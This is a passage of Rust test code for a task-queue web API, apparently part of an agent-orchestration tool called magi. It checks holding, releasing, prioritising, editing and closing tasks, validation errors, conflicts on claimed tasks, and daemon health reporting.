16881        let mut cli = t.clone();
16882        cli.release_operator("cli", None);
16883        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16884        let reloaded = queue.get(&t.id).unwrap();
16885        assert_eq!(reply.task.status, TaskStatus::Queued);
16886        assert!(reloaded.resume_override.is_none());
16887        assert_eq!(reloaded.answers, t.answers);
16888        let mut web = reloaded.resumption.unwrap();
16889        let cli = cli.resumption.unwrap();
16890        assert_eq!(web.source, "web");
16891        web.source = cli.source.clone();
16892        web.at = cli.at;
16893        assert_eq!(web, cli);
16894    }
16895
16896    #[tokio::test]
16897    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16898        let f = Fixture::start().await;
16899        let queue = f.queue();
16900        let mut task = Task::new(
16901            "spent".to_owned(),
16902            "Try again".to_owned(),
16903            PathBuf::from("/repo/magi"),
16904            Source::Human,
16905        );
16906        task.start("20260902-140502-bbbb".to_owned());
16907        task.fail("agent gave up", 9);
16908        queue.put(&mut task).expect("file the task");
16909
16910        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16911        assert_eq!(held.status, 200);
16912        assert_eq!(held.json()["status_str"], "held");
16913
16914        let released = f
16915            .post(&format!("/api/queue/{}/release", task.id), None)
16916            .await;
16917        assert_eq!(released.status, 200);
16918        assert_eq!(released.json()["status_str"], "queued");
16919        assert_eq!(released.json()["resumption"]["source"], "web");
16920        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16921        let mut cli = task.clone();
16922        cli.release_operator("cli", None);
16923        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16924        let cli = cli.resumption.unwrap();
16925        assert_eq!(web.instruction, cli.instruction);
16926        assert_eq!(web.answers_through, cli.answers_through);
16927        assert_eq!(web.runs_through, cli.runs_through);
16928        assert_eq!(web.cleared_reason, cli.cleared_reason);
16929        assert_eq!(
16930            released.json()["attempts"],
16931            0,
16932            "release is a real second chance, not an instant re-hold"
16933        );
16934        assert_eq!(
16935            queue.get(&task.id).expect("reload").status,
16936            TaskStatus::Queued,
16937            "the change is on disk, not only in the reply"
16938        );
16939        assert!(
16940            !f.home
16941                .path()
16942                .join("queue")
16943                .join(format!("{}.lock", task.id))
16944                .exists(),
16945            "the claim the mutation took is released again"
16946        );
16947    }
16948
16949    #[tokio::test]
16950    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16951        let f = Fixture::start().await;
16952        let queue = f.queue();
16953        let mut task = Task::new(
16954            "busy".to_owned(),
16955            "Running right now".to_owned(),
16956            PathBuf::from("/repo/magi"),
16957            Source::Human,
16958        );
16959        queue.put(&mut task).expect("file the task");
16960        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16961
16962        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16963
16964        assert_eq!(res.status, 409);
16965        assert_eq!(
16966            queue.get(&task.id).expect("reload").status,
16967            TaskStatus::Queued,
16968            "the refused hold changed nothing"
16969        );
16970    }
16971
16972    #[tokio::test]
16973    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16974        let f = Fixture::start().await;
16975        let queue = f.queue();
16976        let mut task = Task::new(
16977            "waiting on the migration".to_owned(),
16978            "Do the thing".to_owned(),
16979            PathBuf::from("/repo/magi"),
16980            Source::Human,
16981        );
16982        queue.put(&mut task).expect("file the task");
16983
16984        let held = f
16985            .post(
16986                &format!("/api/queue/{}/hold", task.id),
16987                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16988            )
16989            .await;
16990        assert_eq!(held.status, 200, "{}", held.body);
16991        assert_eq!(held.json()["status_str"], "held");
16992        assert_eq!(
16993            held.json()["hold_reason"],
16994            "waiting for 20260101-000000-aaaa to land"
16995        );
16996
16997        let listed = f.get("/api/queue").await.json();
16998        assert_eq!(
16999            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17000            "the card reads the reason off the same list route"
17001        );
17002
17003        // A hold with no body at all must keep working - most holds have no
17004        // reason to give.
17005        let mut plain = Task::new(
17006            "no reason given".to_owned(),
17007            "Do another thing".to_owned(),
17008            PathBuf::from("/repo/magi"),
17009            Source::Human,
17010        );
17011        queue.put(&mut plain).expect("file the task");
17012        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17013        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17014        assert!(held_plain.json()["hold_reason"].is_null());
17015
17016        let released = f
17017            .post(&format!("/api/queue/{}/release", task.id), None)
17018            .await;
17019        assert_eq!(released.status, 200);
17020        assert!(
17021            released.json()["hold_reason"].is_null(),
17022            "a release must clear the reason so the next hold does not inherit it"
17023        );
17024    }
17025
17026    #[test]
17027    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17028        for urgent in [true, false] {
17029            let body: UrgentBody =
17030                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17031            assert_eq!(body.urgent, urgent);
17032        }
17033        for input in [
17034            r#"{}"#,
17035            r#"{"urgent":null}"#,
17036            r#"{"urgent":"true"}"#,
17037            r#"{"urgent":1}"#,
17038            r#"{"urgent":true,"extra":false}"#,
17039        ] {
17040            assert!(
17041                serde_json::from_str::<UrgentBody>(input).is_err(),
17042                "{input}"
17043            );
17044        }
17045    }
17046
17047    #[tokio::test]
17048    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17049        let home = TempDir::new().unwrap();
17050        let q = Queue::at(home.path().join("queue"));
17051        let ui = Arc::new(Ui::new(
17052            q.clone(),
17053            Questions::at(home.path().join("questions")),
17054            Talks::at(home.path().join("talks")),
17055            home.path().join("runs"),
17056            home.path().into(),
17057            home.path().into(),
17058        ));
17059        let mut task = Task::new(
17060            "urgent handler".into(),
17061            "keep".into(),
17062            home.path().into(),
17063            Source::Human,
17064        );
17065        for status in [TaskStatus::Queued, TaskStatus::Held] {
17066            task.status = status;
17067            q.put(&mut task).unwrap();
17068            for urgent in [true, true, false, false] {
17069                let saved = queue_urgent(
17070                    State(Arc::clone(&ui)),
17071                    Path(task.short().into()),
17072                    Ok(Json(UrgentBody { urgent })),
17073                )
17074                .await
17075                .unwrap();
17076                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17077                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17078            }
17079        }
17080        task.status = TaskStatus::Queued;
17081        q.put(&mut task).unwrap();
17082        let claim = q.claim(&task.id).unwrap();
17083        let error = queue_urgent(
17084            State(Arc::clone(&ui)),
17085            Path(task.id.clone()),
17086            Ok(Json(UrgentBody { urgent: true })),
17087        )
17088        .await
17089        .unwrap_err();
17090        assert_eq!(error.status, StatusCode::CONFLICT);
17091        assert!(error.message.contains("released"));
17092        drop(claim);
17093        for status in [
17094            TaskStatus::Running,
17095            TaskStatus::Done,
17096            TaskStatus::Failed,
17097            TaskStatus::Blocked,
17098            TaskStatus::Parked,
17099        ] {
17100            task.status = status;
17101            q.put(&mut task).unwrap();
17102            let error = queue_urgent(
17103                State(Arc::clone(&ui)),
17104                Path(task.id.clone()),
17105                Ok(Json(UrgentBody { urgent: false })),
17106            )
17107            .await
17108            .unwrap_err();
17109            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17110            assert!(error.message.contains(status.as_str()));
17111        }
17112    }
17113
17114    #[tokio::test]
17115    async fn urgent_api_updates_preserves_and_validates_tasks() {
17116        let f = Fixture::start().await;
17117        let q = f.queue();
17118        let mut t = Task::new(
17119            "urgent API".into(),
17120            "unchanged".into(),
17121            PathBuf::from("/repo/magi"),
17122            Source::Human,
17123        );
17124        t.attempts = 2;
17125        t.priority = 9;
17126        t.interrupt = true;
17127        t.hold_reason = Some("waiting for approval".into());
17128        for status in [TaskStatus::Queued, TaskStatus::Held] {
17129            t.status = status;
17130            q.put(&mut t).unwrap();
17131            for urgent in [true, true, false, false] {
17132                let response = f
17133                    .post(
17134                        &format!("/api/queue/{}/urgent", t.short()),
17135                        Some(&format!("{{\"urgent\":{urgent}}}")),
17136                    )
17137                    .await;
17138                assert_eq!(response.status, 200, "{}", response.body);
17139                assert_eq!(response.json()["urgent"], urgent);
17140                let saved = q.get(&t.id).unwrap();
17141                let mut before = serde_json::to_value(&t).unwrap();
17142                let mut after = serde_json::to_value(saved).unwrap();
17143                before["urgent"] = urgent.into();
17144                before.as_object_mut().unwrap().remove("updated_at");
17145                after.as_object_mut().unwrap().remove("updated_at");
17146                assert_eq!(after, before);
17147            }
17148        }
17149        let route = format!("/api/queue/{}/urgent", t.id);
17150        for body in [
17151            r#"{}"#,
17152            r#"{"urgent":null}"#,
17153            r#"{"urgent":"true"}"#,
17154            r#"{"urgent":1}"#,
17155            r#"{"urgent":true,"extra":false}"#,
17156            "{",
17157        ] {
17158            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17159        }
17160        t.status = TaskStatus::Queued;
17161        q.put(&mut t).unwrap();
17162        let claim = q.claim(&t.id).unwrap();
17163        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17164        assert_eq!(response.status, 409, "{}", response.body);
17165        assert!(!q.get(&t.id).unwrap().urgent);
17166        drop(claim);
17167        for status in [
17168            TaskStatus::Running,
17169            TaskStatus::Done,
17170            TaskStatus::Failed,
17171            TaskStatus::Blocked,
17172            TaskStatus::Parked,
17173        ] {
17174            t.status = status;
17175            q.put(&mut t).unwrap();
17176            for urgent in [true, false] {
17177                let response = f
17178                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17179                    .await;
17180                assert_eq!(response.status, 400, "{}", response.body);
17181                assert!(response.body.contains(status.as_str()));
17182                assert!(response.body.contains("queued or held"));
17183                assert!(!q.get(&t.id).unwrap().urgent);
17184            }
17185        }
17186        assert_eq!(
17187            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17188                .await
17189                .status,
17190            404
17191        );
17192    }
17193
17194    #[tokio::test]
17195    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17196        let f = Fixture::start().await;
17197        let queue = f.queue();
17198        let mut older = Task::new(
17199            "filed first".to_owned(),
17200            "x".to_owned(),
17201            PathBuf::from("/repo/magi"),
17202            Source::Human,
17203        );
17204        older.id = "20260101-000001-aaaa".to_owned();
17205        let mut newer = Task::new(
17206            "filed second".to_owned(),
17207            "x".to_owned(),
17208            PathBuf::from("/repo/magi"),
17209            Source::Human,
17210        );
17211        newer.id = "20260101-000002-bbbb".to_owned();
17212        queue.put(&mut older).expect("file older");
17213        queue.put(&mut newer).expect("file newer");
17214
17215        // Equal priority: the newer task leads, the same order the old
17216        // newest-first `list()` already gave every equal-priority queue.
17217        let before = f.get("/api/queue").await.json();
17218        assert_eq!(before[0]["id"], newer.id);
17219        assert_eq!(before[1]["id"], older.id);
17220
17221        // Raising the *older* task is the meaningful case: it can only lead
17222        // now because its priority says so, not because it happens to be
17223        // newest.
17224        let raised = f
17225            .post(
17226                &format!("/api/queue/{}/priority", older.id),
17227                Some(r#"{"priority":10}"#),
17228            )
17229            .await;
17230        assert_eq!(raised.status, 200, "{}", raised.body);
17231        assert_eq!(raised.json()["priority"], 10);
17232
17233        let after = f.get("/api/queue").await.json();
17234        let names: Vec<&str> = after
17235            .as_array()
17236            .unwrap()
17237            .iter()
17238            .map(|t| t["id"].as_str().unwrap())
17239            .collect();
17240        // Highest priority first, which is the order next_runnable and
17241        // `magi task list` both use - GET /api/queue must agree with it
17242        // immediately, not just once the loop claims the task.
17243        assert_eq!(names[0], older.id, "the raised task now sorts first");
17244    }
17245
17246    #[tokio::test]
17247    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17248        let dir = TempDir::new().unwrap();
17249        let q = Queue::at(dir.path().join("queue"));
17250        let ui = Arc::new(Ui::new(
17251            q.clone(),
17252            Questions::at(dir.path().join("questions")),
17253            Talks::at(dir.path().join("talks")),
17254            dir.path().join("runs"),
17255            dir.path().to_path_buf(),
17256            dir.path().to_path_buf(),
17257        ));
17258        let mut t = Task::new(
17259            "budget".into(),
17260            "keep".into(),
17261            dir.path().into(),
17262            Source::Human,
17263        );
17264        t.attempts = 2;
17265        t.runs.push("prior-run".into());
17266        t.hold_manual(Some("waiting".into()));
17267        q.put(&mut t).unwrap();
17268        let change = |value| {
17269            queue_attempt_limit(
17270                State(ui.clone()),
17271                Path(t.id.clone()),
17272                Ok(Json(AttemptLimitBody {
17273                    attempt_limit: value,
17274                })),
17275            )
17276        };
17277        for value in [
17278            serde_json::json!(3),
17279            serde_json::Value::Null,
17280            serde_json::json!(1),
17281        ] {
17282            let response = change(value.clone()).await.unwrap();
17283            assert_eq!(
17284                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17285                value
17286            );
17287            let saved = q.get(&t.id).unwrap();
17288            assert_eq!(
17289                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17290                value
17291            );
17292            assert_eq!(saved.status, TaskStatus::Held);
17293            assert_eq!(saved.attempts, t.attempts);
17294            assert_eq!(saved.runs, t.runs);
17295            assert_eq!(saved.hold_reason, t.hold_reason);
17296            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17297                .await
17298                .unwrap()
17299                .0;
17300            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17301            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17302            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17303            assert_eq!(outcome.max_attempts, detail.max_attempts);
17304        }
17305        for value in [
17306            serde_json::json!(0),
17307            serde_json::json!(-1),
17308            serde_json::json!(1.5),
17309            serde_json::json!("3"),
17310            serde_json::json!(true),
17311        ] {
17312            assert_eq!(
17313                change(value).await.err().unwrap().status,
17314                StatusCode::BAD_REQUEST
17315            );
17316        }
17317        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17318        let claim = q.claim(&t.id).unwrap();
17319        assert_eq!(
17320            change(serde_json::json!(4)).await.err().unwrap().status,
17321            StatusCode::CONFLICT
17322        );
17323        drop(claim);
17324        for status in [
17325            TaskStatus::Running,
17326            TaskStatus::Done,
17327            TaskStatus::Failed,
17328            TaskStatus::Blocked,
17329            TaskStatus::Parked,
17330        ] {
17331            let mut stored = q.get(&t.id).unwrap();
17332            stored.status = status;
17333            q.put(&mut stored).unwrap();
17334            assert_eq!(
17335                change(serde_json::json!(4)).await.err().unwrap().status,
17336                StatusCode::BAD_REQUEST
17337            );
17338            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17339        }
17340        let mut stored = q.get(&t.id).unwrap();
17341        stored.status = TaskStatus::Queued;
17342        q.put(&mut stored).unwrap();
17343        let _ = change(serde_json::Value::Null).await.unwrap();
17344        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17345    }
17346
17347    #[tokio::test]
17348    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17349        let dir = TempDir::new().unwrap();
17350        let repo = dir.path().join("repo");
17351        std::fs::create_dir(&repo).unwrap();
17352        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17353        let q = Queue::at(dir.path().join("queue"));
17354        let ui = Arc::new(Ui::new(
17355            q.clone(),
17356            Questions::at(dir.path().join("questions")),
17357            Talks::at(dir.path().join("talks")),
17358            dir.path().join("runs"),
17359            dir.path().to_path_buf(),
17360            repo.clone(),
17361        ));
17362        let mut t = Task::new(
17363            "seats".into(),
17364            "keep instruction".into(),
17365            repo,
17366            Source::Human,
17367        );
17368        t.runs.push("prior-run".into());
17369        t.hold_manual(Some("waiting".into()));
17370        q.put(&mut t).unwrap();
17371        let change = |count| {
17372            queue_implementers(
17373                State(ui.clone()),
17374                Path(t.id.clone()),
17375                Ok(Json(ImplementersBody {
17376                    implementers: count,
17377                })),
17378            )
17379        };
17380        for count in [2, 1, 2] {
17381            let response = change(count).await.unwrap();
17382            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17383            let saved = q.get(&t.id).unwrap();
17384            assert_eq!(saved.implementers(), Some(usize::from(count)));
17385            assert_eq!(saved.runs, t.runs);
17386            assert_eq!(saved.instruction, t.instruction);
17387        }
17388        for count in [0, 4] {
17389            assert_eq!(
17390                change(count).await.err().unwrap().status,
17391                StatusCode::BAD_REQUEST
17392            );
17393        }
17394        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17395        let claim = q.claim(&t.id).unwrap();
17396        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17397        drop(claim);
17398        for status in [
17399            TaskStatus::Running,
17400            TaskStatus::Done,
17401            TaskStatus::Failed,
17402            TaskStatus::Blocked,
17403            TaskStatus::Parked,
17404        ] {
17405            let mut stored = q.get(&t.id).unwrap();
17406            stored.status = status;
17407            q.put(&mut stored).unwrap();
17408            assert_eq!(
17409                change(1).await.err().unwrap().status,
17410                StatusCode::BAD_REQUEST
17411            );
17412            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17413        }
17414    }
17415
17416    #[tokio::test]
17417    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17418        let f = Fixture::start().await;
17419        let queue = f.queue();
17420        let mut task = Task::new(
17421            "in flight".to_owned(),
17422            "x".to_owned(),
17423            PathBuf::from("/repo/magi"),
17424            Source::Human,
17425        );
17426        task.start("20260902-140502-bbbb".to_owned());
17427        queue.put(&mut task).expect("file the task");
17428
17429        let res = f
17430            .post(
17431                &format!("/api/queue/{}/priority", task.id),
17432                Some(r#"{"priority":9}"#),
17433            )
17434            .await;
17435        assert_eq!(res.status, 400, "{}", res.body);
17436        assert!(
17437            res.json()["error"]
17438                .as_str()
17439                .is_some_and(|e| e.contains("running")),
17440            "{}",
17441            res.body
17442        );
17443        assert_eq!(
17444            queue.get(&task.id).expect("reload").priority,
17445            0,
17446            "the refused write must not partially apply"
17447        );
17448    }
17449
17450    #[tokio::test]
17451    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17452        let f = Fixture::start().await;
17453        let queue = f.queue();
17454        let mut task = Task::new(
17455            "old title".to_owned(),
17456            "old instruction".to_owned(),
17457            PathBuf::from("/repo/magi"),
17458            Source::Agent {
17459                run: "20260101-000000-beef".to_owned(),
17460                node: "implement".to_owned(),
17461            },
17462        );
17463        task.runs.push("20260101-000000-beef".to_owned());
17464        queue.put(&mut task).expect("file the task");
17465        let created_at = task.created_at;
17466
17467        let edited = f
17468            .post(
17469                &format!("/api/queue/{}/edit", task.id),
17470                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17471            )
17472            .await;
17473        assert_eq!(edited.status, 200, "{}", edited.body);
17474        let body = edited.json();
17475        assert_eq!(body["title"], "new title");
17476        assert_eq!(body["instruction"], "new instruction");
17477        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17478        assert_eq!(body["created_at"], created_at.to_string());
17479        assert_eq!(
17480            body["source"]["kind"], "agent",
17481            "editing a task an agent filed must not turn it human: {body}"
17482        );
17483        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17484
17485        let reloaded = queue.get(&task.id).expect("reload");
17486        assert_eq!(reloaded.title, "new title");
17487        assert_eq!(reloaded.instruction, "new instruction");
17488    }
17489
17490    #[tokio::test]
17491    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17492        // The judge is an agent now: a repo whose only agent answers
17493        // "duplicate" stands in for it, so the refusal is the judge's.
17494        let tmp = TempDir::new().expect("tempdir");
17495        let repo = tmp.path().join("repo");
17496        std::fs::create_dir_all(&repo).expect("repo dir");
17497        let judge = MOCK_AGENT_TOML.replace(
17498            "printf ok",
17499            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17500        );
17501        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17502        let f = Fixture::with_repo(repo.clone()).await;
17503        let queue = f.queue();
17504        let mut owner = Task::new(
17505            "owner".to_owned(),
17506            "review it".to_owned(),
17507            repo.clone(),
17508            Source::Human,
17509        );
17510        owner.review_branch = Some("magi/ab12/A".to_owned());
17511        queue.put(&mut owner).expect("file the owner");
17512        let mut task = Task::new(
17513            "draft".to_owned(),
17514            "old".to_owned(),
17515            repo.clone(),
17516            Source::Human,
17517        );
17518        queue.put(&mut task).expect("file the draft");
17519        let url = format!("/api/queue/{}/edit", task.id);
17520
17521        let refused = f
17522            .post(
17523                &url,
17524                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17525            )
17526            .await;
17527        assert_eq!(refused.status, 409, "{}", refused.body);
17528        let msg = refused.json()["error"]
17529            .as_str()
17530            .unwrap_or_default()
17531            .to_owned();
17532        assert!(
17533            msg.contains("magi/ab12/A") && msg.contains("force"),
17534            "{msg}"
17535        );
17536        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17537
17538        let forced = f
17539            .post(
17540                &url,
17541                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17542            )
17543            .await;
17544        assert_eq!(forced.status, 200, "{}", forced.body);
17545    }
17546
17547    #[tokio::test]
17548    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17549        let f = Fixture::start().await;
17550        let queue = f.queue();
17551        let mut task = Task::new(
17552            "in flight".to_owned(),
17553            "do not touch".to_owned(),
17554            PathBuf::from("/repo/magi"),
17555            Source::Human,
17556        );
17557        task.start("20260902-140502-bbbb".to_owned());
17558        queue.put(&mut task).expect("file the task");
17559
17560        let res = f
17561            .post(
17562                &format!("/api/queue/{}/edit", task.id),
17563                Some(r#"{"title":"x","instruction":"y"}"#),
17564            )
17565            .await;
17566        assert_eq!(res.status, 400, "{}", res.body);
17567        assert!(
17568            res.json()["error"]
17569                .as_str()
17570                .is_some_and(|e| e.contains("running")),
17571            "{}",
17572            res.body
17573        );
17574        assert_eq!(
17575            queue.get(&task.id).expect("reload").instruction,
17576            "do not touch",
17577            "the refused edit must not change the file"
17578        );
17579    }
17580
17581    #[tokio::test]
17582    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17583        let f = Fixture::start().await;
17584        let queue = f.queue();
17585        let mut task = Task::new(
17586            "busy".to_owned(),
17587            "Running right now".to_owned(),
17588            PathBuf::from("/repo/magi"),
17589            Source::Human,
17590        );
17591        queue.put(&mut task).expect("file the task");
17592        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17593
17594        let priority = f
17595            .post(
17596                &format!("/api/queue/{}/priority", task.id),
17597                Some(r#"{"priority":9}"#),
17598            )
17599            .await;
17600        assert_eq!(priority.status, 409, "{}", priority.body);
17601
17602        let edit = f
17603            .post(
17604                &format!("/api/queue/{}/edit", task.id),
17605                Some(r#"{"title":"x","instruction":"y"}"#),
17606            )
17607            .await;
17608        assert_eq!(edit.status, 409, "{}", edit.body);
17609    }
17610
17611    #[tokio::test]
17612    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17613        let f = Fixture::start().await;
17614        let queue = f.queue();
17615        let mut task = Task::new(
17616            "shipped by hand".to_owned(),
17617            "merged outside the loop".to_owned(),
17618            PathBuf::from("/repo/magi"),
17619            Source::Agent {
17620                run: "20260101-000000-b455".to_owned(),
17621                node: "implement".to_owned(),
17622            },
17623        );
17624        task.runs.push("20260101-000000-b455".to_owned());
17625        task.runs.push("20260101-000000-9af4".to_owned());
17626        queue.put(&mut task).expect("file the task");
17627        let created_at = task.created_at;
17628
17629        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17630        assert_eq!(done.status, 200, "{}", done.body);
17631        assert_eq!(done.json()["status_str"], "done");
17632
17633        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17634        assert_eq!(
17635            reloaded.runs,
17636            ["20260101-000000-b455", "20260101-000000-9af4"]
17637        );
17638        assert_eq!(
17639            reloaded.source,
17640            Source::Agent {
17641                run: "20260101-000000-b455".to_owned(),
17642                node: "implement".to_owned(),
17643            }
17644        );
17645        assert_eq!(reloaded.created_at, created_at);
17646    }
17647
17648    #[tokio::test]
17649    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17650        // `done` is allowed on any status, including `held`, with no release
17651        // in between - so a task held for a reason and then closed directly
17652        // must not keep reading as "waiting on" it afterwards, on its card or
17653        // in `magi task show`.
17654        let f = Fixture::start().await;
17655        let queue = f.queue();
17656        let mut task = Task::new(
17657            "landed while held".to_owned(),
17658            "x".to_owned(),
17659            PathBuf::from("/repo/magi"),
17660            Source::Human,
17661        );
17662        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17663        queue.put(&mut task).expect("file the held task");
17664
17665        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17666        assert_eq!(done.status, 200, "{}", done.body);
17667        assert_eq!(done.json()["status_str"], "done");
17668        assert!(
17669            done.json()["hold_reason"].is_null(),
17670            "a done task cannot still be waiting on something: {}",
17671            done.body
17672        );
17673    }
17674
17675    #[tokio::test]
17676    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17677        // `queue_done` is the phone's way to close a task the loop never
17678        // settled itself - after confirming a manual GitHub merge, say - and
17679        // that is just as much "this task's story is over" as the loop's own
17680        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17681        let f = Fixture::start().await;
17682        let queue = f.queue();
17683        let runs = f.runs();
17684        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17685        // The last attempt has to have actually landed for the earlier one
17686        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17687        // for the case where it didn't.
17688        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17689
17690        let mut task = Task::new(
17691            "landed by hand".to_owned(),
17692            "x".to_owned(),
17693            PathBuf::from("/repo/magi"),
17694            Source::Human,
17695        );
17696        task.runs.push("20260101-000000-doa1".to_owned());
17697        task.runs.push("20260101-000000-doa2".to_owned());
17698        queue.put(&mut task).expect("file the task");
17699
17700        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17701        assert_eq!(done.status, 200, "{}", done.body);
17702
17703        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17704            .expect("run still on disk under this fixture's own home");
17705        assert_eq!(
17706            reloaded_run.status,
17707            RunStatus::Superseded,
17708            "closing the task by hand must relabel the earlier blocked attempt exactly \
17709             like the loop's own settle path does"
17710        );
17711    }
17712
17713    #[tokio::test]
17714    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17715        // Closing a task by hand is allowed from any status, including one
17716        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17717        // manual merge the loop never watched, say. Nothing here is provably
17718        // why the task is done, so nothing earlier gets relabelled either.
17719        let f = Fixture::start().await;
17720        let queue = f.queue();
17721        let runs = f.runs();
17722        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17723        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17724
17725        let mut task = Task::new(
17726            "closed with nothing actually landed".to_owned(),
17727            "x".to_owned(),
17728            PathBuf::from("/repo/magi"),
17729            Source::Human,
17730        );
17731        task.runs.push("20260101-000000-dob1".to_owned());
17732        task.runs.push("20260101-000000-dob2".to_owned());
17733        queue.put(&mut task).expect("file the task");
17734
17735        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17736        assert_eq!(done.status, 200, "{}", done.body);
17737
17738        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17739            .expect("run still on disk under this fixture's own home");
17740        assert_eq!(
17741            reloaded_run.status,
17742            RunStatus::Blocked,
17743            "the last recorded attempt never landed, so the earlier one must not be \
17744             relabelled as superseded by it"
17745        );
17746    }
17747
17748    #[tokio::test]
17749    async fn unknown_ids_are_json_not_found_on_both_stores() {
17750        let f = Fixture::start().await;
17751
17752        let run = f.get("/api/runs/nosuchrun").await;
17753        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17754
17755        assert_eq!(run.status, 404);
17756        assert_eq!(task.status, 404);
17757        assert!(
17758            run.json()["error"]
17759                .as_str()
17760                .is_some_and(|e| e.contains("run")),
17761            "the error names what was not found: {}",
17762            run.body
17763        );
17764        assert!(
17765            task.json()["error"]
17766                .as_str()
17767                .is_some_and(|e| e.contains("task")),
17768            "the error names what was not found: {}",
17769            task.body
17770        );
17771    }
17772
17773    #[tokio::test]
17774    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17775        let f = Fixture::start().await;
17776
17777        let missing = f.get("/api/health").await.json();
17778        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17779
17780        write_daemon(
17781            f.home.path(),
17782            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17783        );
17784        let stale = f.get("/api/health").await.json();
17785        assert_eq!(
17786            stale["daemon"]["running"], false,
17787            "a minute without a heartbeat is a dead daemon, not a busy one"
17788        );
17789        assert!(
17790            stale["daemon"]["stale_for_secs"]
17791                .as_i64()
17792                .is_some_and(|s| s >= 55),
17793            "staleness is reported so the UI can say how long: {stale}"
17794        );
17795
17796        write_daemon(f.home.path(), Timestamp::now());
17797        let fresh = f.get("/api/health").await.json();
17798        assert_eq!(fresh["daemon"]["running"], true);
17799        assert_eq!(fresh["daemon"]["idle"], false);
17800        assert_eq!(fresh["daemon"]["pid"], 4242);
17801        assert_eq!(fresh["daemon"]["completed"], 7);
17802        assert_eq!(
17803            fresh["daemon"]["current"][0]["task"],
17804            "20260902-140501-aaaa"
17805        );
17806        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17807    }
17808
17809    #[tokio::test]
17810    async fn the_loop_is_not_running_until_something_starts_it() {
17811        let f = Fixture::start().await;
17812
17813        let view = f.get("/api/loop").await.json();
17814        assert_eq!(view["running"], false);
17815        assert_eq!(
17816            view["owned"], false,
17817            "nobody owns a loop that does not exist: {view}"
17818        );
17819        assert_eq!(view["stopping"], false);
